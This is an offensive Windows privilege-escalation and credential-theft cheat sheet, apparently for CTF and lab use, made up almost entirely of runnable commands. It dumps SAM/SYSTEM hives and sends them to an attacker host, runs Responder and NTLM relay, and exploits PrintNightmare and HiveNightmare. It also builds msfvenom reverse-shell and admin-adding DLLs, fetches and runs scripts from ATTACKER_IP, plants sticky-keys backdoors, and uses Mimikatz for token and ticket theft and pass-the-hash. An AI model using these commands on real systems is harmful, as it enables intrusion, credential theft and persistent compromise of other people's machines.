:: Import BackupOperatorToDA or use robocopy:
robocopy /B C:\Windows\System32\config\ C:\Windows\Temp\ SAM SYSTEM SECURITY

:: OR using PowerShell with SeBackupPrivilege:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SAM C:\Windows\Temp\SAM
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM

:: Then parse:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

:: ==========================================
:: COMPREHENSIVE FILE-BASED CRED HUNTING
:: ==========================================

:: Search ALL drives for password strings:
Get-ChildItem -Path C:\ -Recurse -Force -Include *.txt,*.ini,*.xml,*.config,*.bat,
    *.ps1,*.cmd,*.vbs,*.log,*.bak,*.old,*.cfg,*.conf,*.cnf,*.env,*.json,*.yaml,*.yml `
    -ErrorAction SilentlyContinue |
    Select-String -Pattern 'password|passwd|pwd|pass=|pwd=|credentials|secret|api_key|token' `
    -ErrorAction SilentlyContinue |
    Select-Object Path, LineNumber, Line | Export-Csv C:\Windows\Temp\creds.csv

:: Quick CMD version:
findstr /si "password" C:\*.txt C:\*.ini C:\*.xml C:\*.config 2>nul

:: ==========================================
:: SPECIFIC HIGH-VALUE FILE LOCATIONS
:: ==========================================

:: IIS web config (DB credentials!):
type C:\inetpub\wwwroot\web.config 2>nul
type C:\inetpub\wwwroot\applicationHost.config 2>nul
findstr /si "connectionString\|password\|username" C:\inetpub\*.config 2>nul

:: Apache/PHP configs:
type C:\xampp\htdocs\config.php 2>nul
type C:\xampp\htdocs\wp-config.php 2>nul
type C:\wamp\www\wp-config.php 2>nul
findstr /si "DB_PASSWORD\|DB_USER" C:\xampp\htdocs\*.php 2>nul

:: Git repositories (check .git/config and history!):
dir /s /b C:\*.git 2>nul
dir /s /b C:\*\.git\config 2>nul
type C:\path\to\.git\config 2>nul
git -C C:\path\to\repo log --oneline    :: Check commit history!
git -C C:\path\to\repo show HEAD        :: Show last commit diffs

:: Jenkins credentials:
type C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword 2>nul
dir /s /b C:\*Jenkins*credentials.xml 2>nul
type "C:\Program Files (x86)\Jenkins\secrets\initialAdminPassword" 2>nul

:: Ansible vault/vars:
dir /s /b C:\*vault.yml 2>nul
dir /s /b C:\*group_vars* 2>nul

:: PHP config files:
dir /s /b C:\*.php 2>nul | findstr /i "config\|database\|connect"

:: SSH authorized_keys (reusable keys across hosts!):
type C:\Users\%USERNAME%\.ssh\authorized_keys 2>nul
type C:\Users\%USERNAME%\.ssh\id_rsa 2>nul
type C:\Users\%USERNAME%\.ssh\known_hosts 2>nul
dir /s /b C:\Users\*\.ssh\ 2>nul

:: ==========================================
:: REGISTRY PASSWORD SWEEP
:: ==========================================

:: Full registry sweep for password strings (can be slow):
reg query HKLM /f "password" /t REG_SZ /s 2>nul
reg query HKCU /f "password" /t REG_SZ /s 2>nul
reg query HKLM /f "passwd" /t REG_SZ /s 2>nul
reg query HKLM /f "pwd" /t REG_SZ /s 2>nul

:: Key-specific searches:
reg query "HKLM\SOFTWARE\OpenSSH" /s 2>nul
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s 2>nul
reg query "HKCU\Software\Bitvise" /s 2>nul
reg query "HKCU\Software\FTPware\COREFTP\Sites" /s 2>nul
reg query "HKCU\Software\FlashFXP\3" /s 2>nul
reg query "HKCU\Software\SmartFTP\Client 2.0\Settings\General" /s 2>nul
reg query "HKCU\Software\TotalCmd\FTP" /s 2>nul
reg query "HKCU\Software\NCH Software\ClassicFTP\FTPAccounts" /s 2>nul

:: ==========================================
:: STARTUP FOLDER LOCATIONS
:: ==========================================

:: System-wide startup (all users):
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

:: Current user startup:
dir "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

:: All user startup folders:
dir /b /s "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul

:: If system-wide startup folder is WORLD-WRITABLE (misconfiguration!):
:: → Drop shell.exe here → runs on NEXT ADMIN LOGIN!
copy C:\Windows\Temp\shell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

:: ==========================================
:: STARTUP EXPLOITATION STRATEGY
:: ==========================================

:: This is PERSISTENT but requires waiting for admin to log in!
:: Better for:
:: → Lateral movement (admin logs in remotely → you catch their session)
:: → Post-exploitation persistence
:: → CTF scenarios where restart is part of the puzzle

:: Alternative startup locations:
:: All users:
:: → HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
:: → C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
::
:: Current user:
:: → HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
:: → C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

:: Check if admin account auto-logs-in (Winlogon):
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
:: 1 = auto-login enabled → startup items run automatically!
:: Check: DefaultUserName + DefaultPassword to see who logs in!

:: ==========================================
:: RESPONDER (LLMNR/NBT-NS POISONING)
:: ==========================================

:: On Kali — run Responder to capture NTLMv2 hashes:
sudo python3 /usr/share/responder/Responder.py -I tun0 -rdwv
:: Captures: NTLMv2 challenge-response hashes from any authentication attempt!

:: Trigger authentication from target:
:: → Access a non-existent UNC path:
dir \\ATTACKER_IP\share           :: Forces NTLM auth to attacker!
net use \\ATTACKER_IP\share
:: → Browse to \\ATTACKER_IP in Explorer

:: Crack captured NTLMv2:
hashcat -m 5600 ntlmv2.txt /usr/share/wordlists/rockyou.txt

:: ==========================================
:: NTLM RELAY (WHEN SIGNING IS DISABLED)
:: ==========================================

:: Check if SMB signing is disabled (prerequisite for relay):
netexec smb TARGET_IP --gen-relay-list relay_targets.txt
:: Hosts in relay_targets.txt = signing disabled = can relay to them!

:: Setup relay attack:
:: (Stop Responder first, or disable SMB/HTTP listeners)
sudo python3 /usr/share/responder/Responder.py -I tun0 -rdw --no-http-server --no-smb-server
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support

:: Trigger auth from victim → relay → get SYSTEM via SAM dump or shell!
:: ntlmrelayx automatically dumps SAM if relay succeeds

:: Interactive relay (shell):
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i
:: Then: nc 127.0.0.1 11000  (interactive SMB session!)

:: Execute command via relay:
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "net user hacked Pass123! /add"

:: ==========================================
:: CHECK PREREQUISITES
:: ==========================================

:: Is Print Spooler running?
sc query Spooler | findstr "STATE"
Get-Service Spooler

:: Check patch status (critical patches):
wmic qfe get Caption,HotFixID | findstr "KB5004945\|KB5004946\|KB5004947\|KB5004948\|KB5004949\|KB5004950"
:: If these NOT installed → likely vulnerable!

:: ==========================================
:: LOCAL PRIVILEGE ESCALATION (LPE)
:: ==========================================

:: Method A: PowerShell (Invoke-Nightmare)
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacked" -NewPassword "Pass123!" -DriverName "PrintMe"

:: Method B: Python exploit (Kali):
python3 CVE-2021-1675.py domain.local/user:pass@TARGET_IP '\\ATTACKER_IP\share\evil.dll'

:: ==========================================
:: CREATE MALICIOUS DLL (For PrintNightmare)
:: ==========================================

:: Generate DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -f dll -o evil.dll

:: OR DLL that adds admin user:
:: evil.c:
:: #include <windows.h>
:: BOOL WINAPI DllMain (HINSTANCE h, DWORD reason, LPVOID p){
::     if (reason == DLL_PROCESS_ATTACH){
::         system("cmd.exe /c net user hacked Pass123! /add && net localgroup administrators hacked /add");
::     }
::     return TRUE;
:: }
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

:: Host DLL via SMB:
sudo impacket-smbserver share . -smb2support

:: ==========================================
:: REMOTE CODE EXECUTION (RCE) VARIANT
:: ==========================================

:: From Kali with valid domain creds:
python3 PrintNightmare.py 'DOMAIN/user:pass'@TARGET_IP '\\ATTACKER_IP\share\evil.dll'
:: → Installs DLL remotely as SYSTEM on TARGET_IP!

:: ==========================================
:: CHECK VULNERABILITY
:: ==========================================

:: Are shadow copies accessible?
icacls C:\Windows\System32\config\SAM
:: If "BUILTIN\Users:(I)(RX)" exists → VULNERABLE!

:: ==========================================
:: EXPLOIT
:: ==========================================

:: Check shadow copies:
vssadmin list shadows
wmic shadowcopy list brief

:: Copy SAM/SYSTEM from shadow copy as regular user:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Windows\Temp\SECURITY

:: Try multiple shadow copies (ShadowCopy1, ShadowCopy2, etc.):
for /l %i in (1,1,10) do (
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%i\Windows\System32\config\SAM \
    C:\Windows\Temp\SAM_%i 2>nul && echo "Got SAM from ShadowCopy%i"
)

:: Transfer to Kali:
smbclient //ATTACKER_IP/share -N
smb: \> put SAM
smb: \> put SYSTEM

:: Parse on Kali:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
python3 -m pypykatz registry --security SECURITY system SYSTEM sam SAM

:: Output: Local NTLM hashes → crack or PTH!
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

:: ==========================================
:: AUTOMATED TOOL
:: ==========================================

:: HiveNightmare PoC:
.\HiveNightmare.exe
:: Automatically extracts SAM/SYSTEM/SECURITY to current directory

:: Parse directly:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

:: ==========================================
:: IDENTIFY OS AND PATCHES
:: ==========================================

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
wmic qfe get Caption,Description,HotFixID,InstalledOn | format-table /auto

:: ==========================================
:: EXPLOIT SUGGESTER (AUTOMATED)
:: ==========================================

:: Watson (built for modern Windows):
.\Watson.exe
:: Shows: Missing KBs + associated CVEs with exploit availability

:: Windows Exploit Suggester (older OS — XP/7/2008):
:: On Kali:
systeminfo > C:\Windows\Temp\sysinfo.txt      :: On target
python3 windows-exploit-suggester.py --update
python3 windows-exploit-suggester.py --systeminfo sysinfo.txt \
    --database 2024-xx-xx-mssb.xls

:: wesng (Windows Exploit Suggester Next Gen):
python3 wes.py sysinfo.txt -i "Privilege Escalation" --exploits-only

:: ==========================================
:: KEY KERNEL EXPLOITS BY OS VERSION
:: ==========================================

:: Windows 10 (Pre-1809) / Server 2016:
:: → MS16-032: Secondary Logon Handle (PowerShell)
::   powershell -nop -exec bypass .\MS16-032.ps1
:: → MS16-135: Win32k EoP
:: → CVE-2019-0803: Win32k

:: Windows 7 / Server 2008 R2:
:: → MS14-058: Win32k EoP (great reliability)
:: → MS15-051: Win32k EoP
:: → MS16-032: Secondary Logon Handle
:: → MS10-059: Chimichurri (older)

:: Windows 10 1809+ / Server 2019:
:: → CVE-2021-1732: Win32k EoP
:: → CVE-2022-21999: Print Spoofer variant

:: Windows XP/2003 (legacy):
:: → MS08-067: Netapi (RCE, not just privesc)
:: → MS09-012: Chimichurri
:: → MS11-011: Win32k

:: ==========================================
:: MS16-032 (SECONDARY LOGON) — DETAILED
:: ==========================================

:: Affected: Windows 7-10, Server 2008-2012 (32/64-bit)
:: Requires: Multiple CPUs (or via workaround)

:: PowerShell exploit:
powershell -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/MS16-032.ps1')"
:: OR local:
. .\MS16-032.ps1
Invoke-MS16-032 -Application cmd.exe -commandline "/c net user hacked Pass123! /add"

:: ==========================================
:: COMPILE KERNEL EXPLOITS (FROM KALI)
:: ==========================================

:: Most exploits need compilation:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe   :: x64
i686-w64-mingw32-gcc exploit.c -o exploit_x86.exe  :: x86

:: Check target architecture first:
echo %PROCESSOR_ARCHITECTURE%               :: AMD64 = x64, x86 = 32-bit
wmic os get osarchitecture

:: ==========================================
:: REPLACE ACCESSIBILITY BINARY (Need SYSTEM or SeRestore)
:: ==========================================

:: Backup original:
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak
copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak

:: Take ownership (if not SYSTEM yet):
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant %USERNAME%:F

:: Replace with cmd.exe:
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
:: OR:
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

:: Now at logon screen:
:: → Press Shift 5 times (triggers sethc.exe = now cmd.exe as SYSTEM!)
:: → OR click Accessibility icon (triggers utilman.exe = now cmd.exe as SYSTEM!)

:: From the SYSTEM cmd:
net user Administrator NewPassword123!
net user hacked Pass123! /add
net localgroup administrators hacked /add

:: ==========================================
:: REGISTRY DEBUGGER METHOD (More Stealthy)
:: ==========================================

:: Set cmd.exe as debugger for sethc.exe via registry:
:: (Doesn't replace the file — harder to detect!)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" \
    /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe"

:: At logon screen → press Shift 5x → cmd.exe opens as SYSTEM!

:: Cleanup:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f

:: ==========================================
:: RUNAS WITH KNOWN CREDENTIALS
:: ==========================================

:: Basic runas:
runas /user:Administrator cmd.exe
runas /user:DOMAIN\user "cmd.exe /k whoami"
runas /user:.\Administrator powershell.exe

:: Non-interactive runas (for scripts):
runas /user:Administrator /savecred "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

:: With network credentials (doesn't load full profile):
runas /netonly /user:DOMAIN\user cmd.exe
:: Useful for accessing AD resources without local admin

:: ==========================================
:: PASSING CREDENTIALS PROGRAMMATICALLY
:: ==========================================

:: PowerShell — start process as different user:
$securePass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("Administrator", $securePass)
Start-Process cmd.exe -Credential $cred

:: Start process with alternate creds + arguments:
$cred = Get-Credential   :: Prompts for creds
Start-Process powershell.exe -Credential $cred -ArgumentList "-c whoami"

:: ==========================================
:: INVOKE-COMMAND WITH CREDS (PS REMOTING)
:: ==========================================

$cred = New-Object System.Management.Automation.PSCredential(
    "domain\admin",
    (ConvertTo-SecureString "Password123!" -AsPlainText -Force))

Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {whoami}
Enter-PSSession -ComputerName TARGET -Credential $cred

:: ==========================================
:: DETECT ACCESSIBLE NAMED PIPES
:: ==========================================

[System.IO.Directory]::GetFiles("\\.\\pipe\\") | ForEach-Object {
    try {
        $pipe = [System.IO.File]::OpenRead($_)
        Write-Host "[Accessible] $_"
        $pipe.Close()
    } catch {}
}

:: Sysinternals PipeList:
.\pipelist.exe /accepteula

:: Accesschk — check pipe permissions:
.\accesschk64.exe /accepteula \pipe\
.\accesschk64.exe /accepteula -w \pipe\   :: Only writable pipes

:: ==========================================
:: MANUAL IMPERSONATION DEMO (PowerShell)
:: ==========================================

:: Create named pipe server:
$pipe = New-Object System.IO.Pipes.NamedPipeServerStream("TestPipe",
    [System.IO.Pipes.PipeDirection]::InOut,
    1,
    [System.IO.Pipes.PipeTransmissionMode]::Byte,
    [System.IO.Pipes.PipeOptions]::None,
    1024, 1024,
    $null,
    [System.IO.HandleInheritability]::None,
    [System.IO.Pipes.PipeAccessRights]::FullControl -bor [System.IO.Pipes.PipeAccessRights]::ReadWrite)

$pipe.WaitForConnection()     :: Wait for SYSTEM to connect
$pipe.RunAsClient()           :: Impersonate the connecting user!
whoami                        :: Now running as connecting user (SYSTEM if SYSTEM connected)

:: In practice: Potato tools handle this automatically
:: Manual use cases: CTF challenges with custom pipe enumeration

:: ==========================================
:: FIND WRITABLE SERVICE REGISTRY KEYS
:: ==========================================

.\accesschk64.exe /accepteula -kvwsu "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services
.\accesschk64.exe /accepteula -kvwsu "Everyone" HKLM\SYSTEM\CurrentControlSet\Services
.\accesschk64.exe /accepteula -kvwsu "BUILTIN\Users" HKLM\SYSTEM\CurrentControlSet\Services

:: PowerShell:
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    $acl = Get-Acl $_.PSPath
    $acl.Access | Where-Object {
        $_.RegistryRights -match 'FullControl|SetValue|WriteKey' -and
        $_.IdentityReference -match 'Everyone|Users|Authenticated'
    } | ForEach-Object {
        Write-Host "[WRITABLE REG] $($acl.Path) — $($_.IdentityReference)" -FG Red
    }
}

:: ==========================================
:: EXPLOIT WRITABLE SERVICE REGISTRY KEY
:: ==========================================

:: Check current ImagePath:
reg query HKLM\SYSTEM\CurrentControlSet\Services\VULN_SERVICE /v ImagePath

:: Change ImagePath to payload:
reg add HKLM\SYSTEM\CurrentControlSet\Services\VULN_SERVICE /v ImagePath \
    /t REG_EXPAND_SZ /d "C:\Windows\Temp\shell.exe" /f

:: Restart service:
sc stop VULN_SERVICE
sc start VULN_SERVICE

:: ==========================================
:: CHECK WSL PRESENCE
:: ==========================================

where wsl
wsl --list --verbose
wsl --list --all
Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

:: ==========================================
:: CHECK WSL FILES (ACCESSIBLE FROM WINDOWS!)
:: ==========================================

:: WSL filesystem accessible at:
dir C:\Users\%USERNAME%\AppData\Local\Packages\
:: Look for: CanonicalGroupLimited.Ubuntu*

:: Access WSL filesystem directly (Windows 10 1903+):
dir \\wsl$\
dir \\wsl$\Ubuntu\
dir \\wsl$\Ubuntu\etc\
type \\wsl$\Ubuntu\etc\passwd
type \\wsl$\Ubuntu\etc\shadow       :: Might be readable!
type \\wsl$\Ubuntu\root\.bash_history

:: ==========================================
:: ESCALATE VIA WSL
:: ==========================================

:: Run command in WSL:
wsl -u root -e bash -c "whoami"    :: Run as root in WSL!
wsl -e /bin/bash                   :: WSL shell

:: WSL often runs as root internally — check:
wsl whoami                         :: returns "root" on many default installs!

:: From WSL root → access Windows filesystem:
:: /mnt/c/ = C:\
ls /mnt/c/Users/Administrator/     :: From WSL root!
cat /mnt/c/Users/Administrator/Desktop/proof.txt

:: WSL → create SUID bash → use on Linux pivot?
:: (Only relevant in specific CTF scenarios)

:: ==========================================
:: WSL PROCESS INJECTION (Advanced)
:: ==========================================

:: If WSL is running as SYSTEM (rare but possible):
tasklist | findstr wsl
:: Get PID → inject into WSL process → SYSTEM!

:: ==========================================
:: ENUMERATE INSTALLED SOFTWARE
:: ==========================================

wmic product get name,version | sort
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | \
    findstr "DisplayName\|DisplayVersion"

:: ==========================================
:: HIGH-VALUE VULNERABLE APPS (Common in Labs)
:: ==========================================

:: Druva inSync (CVE-2020-5752) — Local privesc via named pipe
:: → Allows command execution as SYSTEM via inSyncCPHwnet64.exe
:: Affected: inSync before 6.6.3

:: XAMPP (any version with default config)
:: → apache runs as SYSTEM by default in old installs!
:: → Web shell upload → SYSTEM!

:: Papercut MF/NG (CVE-2023-27350)
:: → Unauthenticated RCE → SYSTEM
:: → Common in enterprise environments

:: ManageEngine (various CVEs)
:: → Desktop Central, ServiceDesk Plus, ADManager
:: → Multiple RCE CVEs → often running as SYSTEM!

:: Tenable Nessus Agent (CVE-2021-20099)
:: → Local privesc

:: pfSense / FortiGate management interfaces
:: → Running locally → web app attacks → privesc

:: ==========================================
:: SEARCH FOR CVE-SPECIFIC PATTERNS
:: ==========================================

:: After identifying app + version → searchsploit:
searchsploit "druva insync"
searchsploit "papercut"
searchsploit "manageengine"
searchsploit "xampp"

:: Check running services for known products:
Get-CimInstance Win32_Service | Where-Object {
    $_.PathName -match 'inSync|papercut|ManageEngine|Nessus|splunk'
} | select Name, PathName, StartName, State

:: ==========================================
:: CHECK DOMAIN CONTEXT ON MACHINE
:: ==========================================

:: Are we on a domain-joined machine?
systeminfo | findstr "Domain"
wmic computersystem get domain,partofdomainn

:: What domain groups are in local Administrators?
net localgroup administrators
:: Look for: DOMAIN\Domain Admins (standard)
:: Look for: DOMAIN\OTHER_GROUP (custom — their members are local admin here!)

:: ==========================================
:: MACHINE ACCOUNT ATTACKS
:: ==========================================

:: Get machine account hash (as SYSTEM):
.\mimikatz.exe "sekurlsa::logonpasswords" exit | findstr "machine\|computer\|$"

:: Machine account = COMPUTER_NAME$ in domain
:: Machine accounts can:
:: → Authenticate to domain services as themselves
:: → Be Kerberoasted (if they have SPNs)
:: → Be used for RBCD attacks

:: ==========================================
:: LOGGED-IN USER TOKEN THEFT
:: ==========================================

:: Who is logged in right now?
qwinsta                        :: Active desktop sessions
query session
klist                          :: Kerberos tickets in current session

:: If DA is logged in to this machine → steal their token!
.\incognito.exe list_tokens -u
.\incognito.exe execute -c "DOMAIN\DomainAdmin" cmd.exe
:: → Now running as DA!

:: Mimikatz token impersonation:
.\mimikatz.exe
token::elevate
token::list
token::impersonate /user:"domain\dauser"
misc::cmd

:: ==========================================
:: PASS THE HASH WITHIN DOMAIN
:: ==========================================

:: Once you have NTLM hashes (from SAM dump or Mimikatz):
:: Check where those hashes work:
netexec smb 192.168.x.0/24 -u Administrator -H <NTLM_HASH> --continue-on-success

:: Spray across domain:
netexec smb DC_IP -u Administrator -H <HASH>
evil-winrm -i DC_IP -u Administrator -H <HASH>

:: ==========================================
:: KERBEROS TICKET THEFT / PASS THE TICKET
:: ==========================================

:: Dump all Kerberos tickets (AS SYSTEM):
.\mimikatz.exe "sekurlsa::tickets /export" exit
:: Creates .kirbi files for each ticket

:: Inject a ticket:
.\mimikatz.exe "kerberos::ptt ticket.kirbi" exit
klist                          :: Verify injected

:: Rubeus ticket dump:
.\Rubeus.exe dump /nowrap
.\Rubeus.exe ptt /ticket:<BASE64>

:: ==========================================
:: BLOODHOUND FROM MACHINE
:: ==========================================

:: Collect all domain info:
.\SharpHound.exe -c All --zippassword password123

:: Import ZIP into BloodHound GUI → analyze attack paths!
:: Look for shortest path from current machine to Domain Admin

:: ==========================================
:: DNS ADMINS GROUP → SYSTEM ON DC
:: ==========================================

:: If user is in DnsAdmins group:
net user %USERNAME% /domain | findstr "DnsAdmins\|Group"

:: Load malicious DLL via DNS service:
dnscmd /config /serverlevelplugindll \\ATTACKER_IP\share\evil.dll
:: Start DNS service → loads DLL as SYSTEM!
sc stop dns
sc start dns

:: From Linux:
dnscmd.py -u domain/dnsadmin -p pass -d DOMAIN DC_IP /config /serverlevelplugindll \\ATTACKER_IP\share\evil.dll

╔══════════════════════════════════════════════════════════════╗
║ WINDOWS PRIVESC DECISION TREE                                ║
╚══════════════════════════════════════════════════════════════╝

[STEP 1] RUN WINPEAS AND READ ALL OUTPUT
│
├─ Highlighted RED = critical findings → investigate first
├─ Highlighted YELLOW = interesting → investigate second
└─ Save full output and read carefully

[STEP 2] CHECK: whoami /priv
│
├─ SeImpersonatePrivilege = Enabled?
│ → YES → GodPotato / PrintSpoofer → SYSTEM ✓ DONE
│
├─ SeAssignPrimaryTokenPrivilege = Enabled?
│ → YES → GodPotato → SYSTEM ✓ DONE
│
├─ SeBackupPrivilege = Enabled?
│ → YES → robocopy /B SAM+SYSTEM → dump hashes offline
│
├─ SeRestorePrivilege = Enabled?
│ → YES → overwrite service binary → SYSTEM
│
├─ SeTakeOwnershipPrivilege = Enabled?
│ → YES → takeown sensitive file → replace → SYSTEM
│
└─ SeDebugPrivilege = Enabled?
→ YES → mimikatz privilege::debug → dump LSASS → plaintext creds

[STEP 3] CHECK: STORED CREDENTIALS
│
├─ cmdkey /list → saved creds?
│ → YES → runas /savecred /user:Administrator cmd.exe → SYSTEM
│
├─ Winlogon autologon password?
│ → YES → use password → runas / remote access
│
├─ PowerShell history has passwords?
│ → YES → use credentials → escalate
│
└─ Config files have DB/service passwords?
→ YES → use on local services / spray

[STEP 4] CHECK: SERVICES
│
├─ Unquoted service path with writable dir?
│ → YES → place payload exe → restart service → SYSTEM
│
├─ Service with weak permissions (accesschk)?
│ → YES → sc config → change binary → restart → SYSTEM
│
├─ Writable service binary?
│ → YES → replace binary → restart → SYSTEM
│
└─ Writable service registry key?
→ YES → change ImagePath → restart → SYSTEM

[STEP 5] CHECK: REGISTRY
│
├─ AlwaysInstallElevated (both keys = 0x1)?
│ → YES → msfvenom MSI → msiexec /quiet → SYSTEM
│
├─ Writable autorun registry key or binary?
│ → YES → replace/modify → wait for reboot/admin login
│
└─ GPP cpassword in SYSVOL?
→ YES → gpp-decrypt → cleartext password → escalate

[STEP 6] CHECK: SCHEDULED TASKS
│
├─ Task running as SYSTEM calls writable script/exe?
│ → YES → inject payload → wait for execution
│
└─ Task directory writable?
→ YES → place payload with expected name → wait

[STEP 7] CHECK: DLL HIJACKING
│
├─ Application looking for missing DLL in writable dir?
│ → YES → create malicious DLL → place → trigger app
│
└─ Writable directory early in PATH?
→ YES → place named DLL → wait for app load

[STEP 8] CHECK: OS VERSION + PATCHES
│
├─ Missing critical patches?
│ → Run Watson / Windows Exploit Suggester
│ → PrintNightmare (CVE-2021-1675) → Spooler still running?
│ → HiveNightmare (CVE-2021-36934) → shadow copy SAM readable?
│ → MS16-032 → older OS?
│
└─ Kernel exploit available?
→ Use as LAST RESORT (risk of crash!)

[STEP 9] UAC BYPASS (If already local admin, medium integrity)
│
└─ whoami /groups shows Administrators but Medium integrity?
→ UAC bypass (fodhelper/eventvwr) → High integrity
→ Disable Defender → dump SAM → PTH

[STEP 10] WHEN TRULY STUCK
│
├─ Run pspy equivalent: watch for processes
│ → ProcMon if RDP available
│ → Get-Process loop in PowerShell
│
├─ Check ALL user home directories for files/creds
├─ Check ALL web application directories
├─ Check ALL database files locally
├─ Search ENTIRE filesystem for "password" keyword
└─ Try password spraying found creds against all services

:: ==========================================
:: WINPEAS — COMPLETE USAGE
:: ==========================================

:: Run everything:
.\winPEASany.exe

:: Quiet mode (reduced output):
.\winPEASany.exe quiet

:: Specific modules:
.\winPEASany.exe systeminfo
.\winPEASany.exe userinfo
.\winPEASany.exe processinfo
.\winPEASany.exe servicesinfo
.\winPEASany.exe applicationsinfo
.\winPEASany.exe networkinfo
.\winPEASany.exe windowscreds
.\winPEASany.exe browserinfo
.\winPEASany.exe filesinfo

:: Save output (important — pipe or redirect):
.\winPEASany.exe > C:\Windows\Temp\winpeas_out.txt 2>&1
.\winPEASany.exe | Out-File C:\Windows\Temp\winpeas_out.txt -Encoding UTF8

:: Then transfer to Kali to read with colors:
cat winpeas_out.txt | less -R

:: ==========================================
:: POWERUP — COMPLETE USAGE
:: ==========================================

. .\PowerUp.ps1

:: Run all checks:
Invoke-AllChecks | Out-File -Encoding ASCII powerup_out.txt

:: Individual checks:
Get-ServiceUnquoted
Get-ModifiableServiceFile
Get-ModifiableService
Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon
Get-ModifiableRegistryAutoRun
Get-ModifiableScheduledTaskFile
Get-UnattendedInstallFile
Get-CachedGPPPassword
Find-PathDLLHijack

:: Auto-exploit (use carefully!):
Invoke-ServiceAbuse -Name 'VulnService' -Command "net user hacked Pass123! /add"
Write-ServiceBinary -Name 'VulnService' -Path C:\Windows\Temp\service.exe
Install-ServiceBinary -Name 'VulnService'
Write-UserAddMSI

:: ==========================================
:: SEATBELT — COMPLETE USAGE
:: ==========================================

:: All checks:
.\Seatbelt.exe -group=all

:: Specific groups:
.\Seatbelt.exe -group=system
.\Seatbelt.exe -group=user
.\Seatbelt.exe -group=misc
.\Seatbelt.exe -group=chromium
.\Seatbelt.exe -group=slack

:: Individual checks:
.\Seatbelt.exe CredEnum
.\Seatbelt.exe WindowsVault
.\Seatbelt.exe WindowsCredentialFiles
.\Seatbelt.exe SavedRDPConnections
.\Seatbelt.exe PuttyHostKeys
.\Seatbelt.exe PuttySSHHostKeys
.\Seatbelt.exe IEUrls
.\Seatbelt.exe ChromiumPresence
.\Seatbelt.exe FirefoxPresence
.\Seatbelt.exe NetworkProfiles
.\Seatbelt.exe LocalGPOs
.\Seatbelt.exe ProcessCreationEvents
.\Seatbelt.exe Sysmon
.\Seatbelt.exe PowerShellHistory
.\Seatbelt.exe PowerShellEvents
.\Seatbelt.exe RDPSessions
.\Seatbelt.exe LogonEvents
.\Seatbelt.exe ExplicitLogonEvents

:: Save output:
.\Seatbelt.exe -group=all -outputfile="C:\Windows\Temp\seatbelt.txt"

:: ==========================================
:: WATSON — PATCH ANALYSIS
:: ==========================================

.\Watson.exe
:: Shows: Missing patches + CVE IDs + severity

:: ==========================================
:: SHARPHOUND — AD COLLECTION
:: ==========================================

.\SharpHound.exe -c All
.\SharpHound.exe -c All,GPOLocalGroup
.\SharpHound.exe -c All --stealth              :: Quieter collection
.\SharpHound.exe -c All -d domain.local --ldapusername user --ldappassword pass
.\SharpHound.exe --CollectionMethod All --ZipFileName results.zip

:: ==========================================
:: UPLOAD TO TARGET (FROM KALI)
:: ==========================================

:: Kali — start server:
python3 -m http.server 8080
